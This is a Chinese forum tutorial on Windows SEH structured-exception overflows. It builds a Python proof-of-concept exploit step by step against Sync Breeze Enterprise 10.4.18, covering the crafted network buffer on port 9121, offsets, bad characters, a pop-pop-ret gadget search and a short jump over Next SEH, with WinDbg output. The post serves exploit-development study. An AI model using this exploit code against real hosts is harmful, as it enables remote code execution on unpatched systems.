首页
社区
课程
招聘
[原创] Windows SEH 结构化异常溢出分析记录
发表于: 2小时前 40

[原创] Windows SEH 结构化异常溢出分析记录

2小时前
40

这个部分是最基础的,一切都先从理解SEH结构体开始这个结构体大概如下:

举个例子,假设一个程序,为了程序的健壮,大概会写这样的代码:

注意这个代码写的和下面图是不一样的,只是为了理解内存图写的代码而已,这样写方便理解。

OK上述代码应该足够清晰明了,现在假设s2()这个函数是用于从网络上接受数据的业务逻辑函数,如果我们需要远程攻击这个程序,假设此时从s2()处引发的崩溃,那么在内存当中的异常处理就会如下所示

注意到上面这个点,我特意隐去了无关部分,只是说这个调用关系,在s2()引发的异常,是无法影响s2()之前的部分的(seh1())。

换做更复杂的调用也是一样,首先,溢出是从低地址向高地址的。那么如果在触发溢出之前,就有别的异常处理,是完全无法控制溢出之前的一场处理的,假设如下:

OK理解到这里的概念以后,那么SEH的利用流程大概如下:

在某个功能点引发崩溃,然后系统会去找SEH结构体来处理崩溃,系统找SEH结构体时先找的是SE Handler,这按照常理来说,是异常处理的逻辑部分的地址,所以不能让它真的走到这个异常处理,而是让他走到一个PPR(pop pop ret)的逻辑的地址,让他最后回到这里来,不能真的让程序去找异常处理的逻辑,当程序的流程回到这里以后,此时eip会执行它此时指向的地址的指令(和平常一样),但是由于我们没有真的去处理异常,而是用了PPR的指令让它回来,所以eip此时一定会指向SEH结构体当中的Next SEH这个部分,之后让Next SEH这个部分指令直接跳到shellcode的位置即可。

漏洞程序 syncbreezeent_setup_v10.4.18

exploit-db : ee2K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2W2P5s2m8D9L8$3W2@1i4K6u0V1k6r3u0Q4x3X3g2U0L8$3#2Q4x3V1k6W2P5s2m8D9L8$3W2@1M7#2)9J5c8U0b7K6z5e0x3$3

安装好环境以后,用这个基础Poc来进行调试分析

执行exp查看windbg日志,通过windbg日志可以看出来,溢出到了某个SEH结构体
图片描述

使用msf生成有序字符串

修改exp,查看windbg,可以看到SE Handler128 的位置

图片描述
图片描述
根据SEH结构体修改一下代码,加载到windbg

可以看到SE HandlerNext SEH都已经被覆盖了,符合代码预期

Next SEH -> B填充

SE Handler -> C填充

后续的缓冲区部分被D填充
图片描述

修改代码

加载到windbg,看到这个部分\x02是第一个坏字符(默认情况下\x00就是坏字符,所以不特别提及)
图片描述
重复上面的步骤找出所有坏字符

例图:
图片描述
图片描述

前置准备都做完了,接下来我们需要找一组PPR指令,也就是

pop eax/ebx/ecx/edx/esi/edi/ebp ; pop eax/ebx/ecx/edx/esi/edi/ebp ; ret

利用pop指令把前面的垃圾数据弹出去,然后利用ret回到当前栈。

这里这样理解有些抽象,接下来我们通过windbg来转储查看这个过程。

windbg当中查看这个过程
图片描述
我们先来看这个部分,shellcodeNext SEHSE Handler之后,当前的eip指向了SE Handler符合在概念部分理解的SEH结构体工作原理。所以此时如果想要执行这个shellcode,那就需要把前面两个部分给弹出去。从这个部分可以观察到,当前ESP + 8的位置,就是SEH结构体的地址,而SEH结构体的部分后面跟着的就是shellcode的部分,所以思路就是我们需要跳回这里,然后把 42424242(Next SEH) 的部分换成一个短跳转的指令。

那么让我们先来修改Next SEH的部分,将这个部分指令换成jmp short 0x8确保能够跳到后续的shellcode部分,为了避免坏字符,所以用\x90来填充。

先不着急验证,接下来处理刚刚最核心的部分PPR,需要让程序的执行流回到刚刚设置的这个指令处,接下来的方式有很多种,可以用pykd/narly/rp++,目前使用narly结合脚本来查找。

下载链接

然后在windbg 加载

执行 !nmod 会输出所有 loaded modules 及其内存保护
图片描述
我们来看这个部分,以00开头的dll是不可用的,因为如果要使用,就必然包含一个\x00这样的坏字符。所以实际上能用的就只有libpal,注意:查找PPR指令的方式有非常多种,比如现在当我们得知要查找的dll以后可以直接使用rp++导出。我们现在使用的方式是,利用windbg的脚本查找。

find_ppr.wds

之后在windbg当中加载,能找到非常非常多,挑选地址不存在坏字符的。
图片描述
接着修改exp,如果一切顺利,我们应该会走到shellcode当中

加载到windbg当中验证这个逻辑
图片描述
windbg的记录可以清晰的看到,已经走到了模拟shellcode的部分,正在执行nop指令。

注意,这里的PPR指令会因为dll的加载顺序而不同

这一点非常重要,来看两段windbg记录

也就是两个地址其实都没错,只是一个是libspp的 一个是libpal 都是PPR指令,暂时无法从代码层面来解决这个问题。这个问题的原因是:libspp.dlllibpal.dll 的首选基址可能都是 0x10000000,所以exp也因为这个原因,不能做到100%成功,每次运行都有50%的概率。

所有的逻辑都通了以后,需要查看剩余的空间是否足够写入shellcode

来查看windbg当中的输出(注意此时我的断点就是在PPR指令,不要在意是哪个PPR地址),可以明显看到没有字符C的痕迹。这块缓冲区有128字节大小。
图片描述
显然这个缓冲区不足以写入shellcode,需要找到后续的C字符,写在哪里。来搜索一下,找到了位置以后计算一下和当前的距离0x7d4字节距离

注意:环境差异,栈基址的变化:不同的操作系统版本(Win7 vs Win10)、不同的补丁号(Patch Level),甚至仅仅是环境变量的长度不同,都会导致栈的起始位置(Stack Base)发生微小的偏移。

在 Exploit 开发中,绝对偏移量(Absolute Offset)几乎永远是不固定的。不能依赖“向后跳 0x7d4 字节”这种硬编码的指令,因为换台机器可能就变成了 0x800,攻击就失效了。这也引出了解决“空间不足”问题的终极方案——Egg Hunter(猎蛋技术)

但是Egg Hunter技术不在这里细说,当前文章主要写SEH溢出

继续修改代码

加载到windbg查看输出,一切如代码预期,顺利走到了shellcode的预设位置
图片描述

使用msf生成shellcode

struct _EXCEPTION_REGISTRATION_RECORD {
    struct _EXCEPTION_REGISTRATION_RECORD *Next; // 4字节:指向下一个节点的指针
    PEXCEPTION_ROUTINE Handler;                  // 4字节:异常处理函数的地址
};
struct _EXCEPTION_REGISTRATION_RECORD {
    struct _EXCEPTION_REGISTRATION_RECORD *Next; // 4字节:指向下一个节点的指针
    PEXCEPTION_ROUTINE Handler;                  // 4字节:异常处理函数的地址
};
#include <stdio.h>
#include <stdlib.h>
 
int seh1(){} // 异常处理逻辑1
int seh2(){} // 异常处理逻辑2
int seh3(){} // 异常处理逻辑3
 
int s1(){} //业务逻辑1
int s2(){} //业务逻辑2
 
int main(){
    __try {
        s1(); // 业务逻辑1
    }
    __except ( /* filter expression */ ) {
        seh1(); //异常处理逻辑1
    }
     
    __try {
         
    }
    __except ( /* filter expression */ ) {
        seh2(); //异常处理逻辑2
    }
}
#include <stdio.h>
#include <stdlib.h>
 
int seh1(){} // 异常处理逻辑1
int seh2(){} // 异常处理逻辑2
int seh3(){} // 异常处理逻辑3
 
int s1(){} //业务逻辑1
int s2(){} //业务逻辑2
 
int main(){
    __try {
        s1(); // 业务逻辑1
    }
    __except ( /* filter expression */ ) {
        seh1(); //异常处理逻辑1
    }
     
    __try {
         
    }
    __except ( /* filter expression */ ) {
        seh2(); //异常处理逻辑2
    }
}
s2()接收到的buffer --触发-->seh2()
s2()接收到的buffer --触发-->seh2()
内存地址 (低 -> Low Address)
   |
   |   SEH节点,假设在低地址有一个SEH
   |
   |   ----------------------------------
   |   [ Buffer 的起始位置 ]        <--- 假设这里有个函数 S2()在接收buffer造成溢出
   |   ----------------------------------
   |       |
   |       |  (你的 1000 'A' 只能往这个方向写!)
   |       V  (向高地址覆盖)
   |
   |   ----------------------------------
   |   [ SEH 节点 ]  <--- 这是SEH2
   |       (它在下面/后面)
   |       (被 AAAA 淹没)
   |   ----------------------------------
   |
内存地址 (高 -> High Address)
内存地址 (低 -> Low Address)
   |
   |   SEH节点,假设在低地址有一个SEH
   |
   |   ----------------------------------
   |   [ Buffer 的起始位置 ]        <--- 假设这里有个函数 S2()在接收buffer造成溢出
   |   ----------------------------------
   |       |
   |       |  (你的 1000 'A' 只能往这个方向写!)
   |       V  (向高地址覆盖)
   |
   |   ----------------------------------
   |   [ SEH 节点 ]  <--- 这是SEH2
   |       (它在下面/后面)
   |       (被 AAAA 淹没)
   |   ----------------------------------
   |
内存地址 (高 -> High Address)
引发崩溃-> SE Handle -> Next SEH -> jmp shellcode -> execute shellcode
引发崩溃-> SE Handle -> Next SEH -> jmp shellcode -> execute shellcode
#!/usr/bin/python
import socket
import sys
from struct import pack
try:
  server = sys.argv[1]
  port = 9121
  size = 1000
  inputBuffer = b'A' * size
  header = b"\x75\x19\xba\xab"
  header += b"\x03\x00\x00\x00"
  header += b"\x00\x40\x00\x00"
  header += pack('<I', len(inputBuffer))
  header += pack('<I', len(inputBuffer))
  header += pack('<I', inputBuffer[-1])
  buf = header + inputBuffer
  print("Sending evil buffer...")
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((server, port))
  s.send(buf)
  s.close()
  
  print("Done!")
except socket.error:
  print("Could not connect!")
#!/usr/bin/python
import socket
import sys
from struct import pack
try:
  server = sys.argv[1]
  port = 9121
  size = 1000
  inputBuffer = b'A' * size
  header = b"\x75\x19\xba\xab"
  header += b"\x03\x00\x00\x00"
  header += b"\x00\x40\x00\x00"
  header += pack('<I', len(inputBuffer))
  header += pack('<I', len(inputBuffer))
  header += pack('<I', inputBuffer[-1])
  buf = header + inputBuffer
  print("Sending evil buffer...")
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((server, port))
  s.send(buf)
  s.close()
  
  print("Done!")
except socket.error:
  print("Could not connect!")
msf-pattern_create -l 1000
msf-pattern_create -l 1000
inputBuffer = b'......' # msf 生成的字符串
inputBuffer = b'......' # msf 生成的字符串
port = 9121
size = 1000
Next_SEH = b'B' * 4
SE_Handler = b'C' * 4
inputBuffer = b'A' * 124 + Next_SEH + SE_Handler + b'D' * (size - 132)
port = 9121
size = 1000
Next_SEH = b'B' * 4
SE_Handler = b'C' * 4
inputBuffer = b'A' * 124 + Next_SEH + SE_Handler + b'D' * (size - 132)
port = 9121
size = 1000
Next_SEH = b'B' * 4
SE_Handler = b'C' * 4
badchars = b'\x01\x02\x03\x04......' # 坏字符串
inputBuffer = b'A' * 124 + Next_SEH + SE_Handler + badchars
inputBuffer += b'D' * (size - len(inputBuffer))
port = 9121
size = 1000
Next_SEH = b'B' * 4
SE_Handler = b'C' * 4
badchars = b'\x01\x02\x03\x04......' # 坏字符串
inputBuffer = b'A' * 124 + Next_SEH + SE_Handler + badchars
inputBuffer += b'D' * (size - len(inputBuffer))
\x00 \x02 \x0a \x0d
\x00 \x02 \x0a \x0d
port = 9121
size = 1000
Next_SEH = b'B' * 4
SE_Handler = b'C' * 4
shellcode = b'\x90' * 400
# \x00 \x02 \x0a \x0d 
inputBuffer = b'A' * 124 + Next_SEH + SE_Handler + shellcode
inputBuffer += b'D' * (size - len(inputBuffer))
port = 9121
size = 1000
Next_SEH = b'B' * 4
SE_Handler = b'C' * 4
shellcode = b'\x90' * 400
# \x00 \x02 \x0a \x0d 
inputBuffer = b'A' * 124 + Next_SEH + SE_Handler + shellcode
inputBuffer += b'D' * (size - len(inputBuffer))
0:011> dd esp L4
01b0f440  76fb3c22 01b0f540 01b0ff44 01b0f55c
0:011> dd 01b0ff44 L4
01b0ff44  42424242 43434343 90909090 90909090
0:011> dd esp L4
01b0f440  76fb3c22 01b0f540 01b0ff44 01b0f55c
0:011> dd 01b0ff44 L4
01b0ff44  42424242 43434343 90909090 90909090
port = 9121
size = 1000
Next_SEH = b'\xeb\x06\x90\x90' # EB 06 90 90
port = 9121
size = 1000
Next_SEH = b'\xeb\x06\x90\x90' # EB 06 90 90

传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回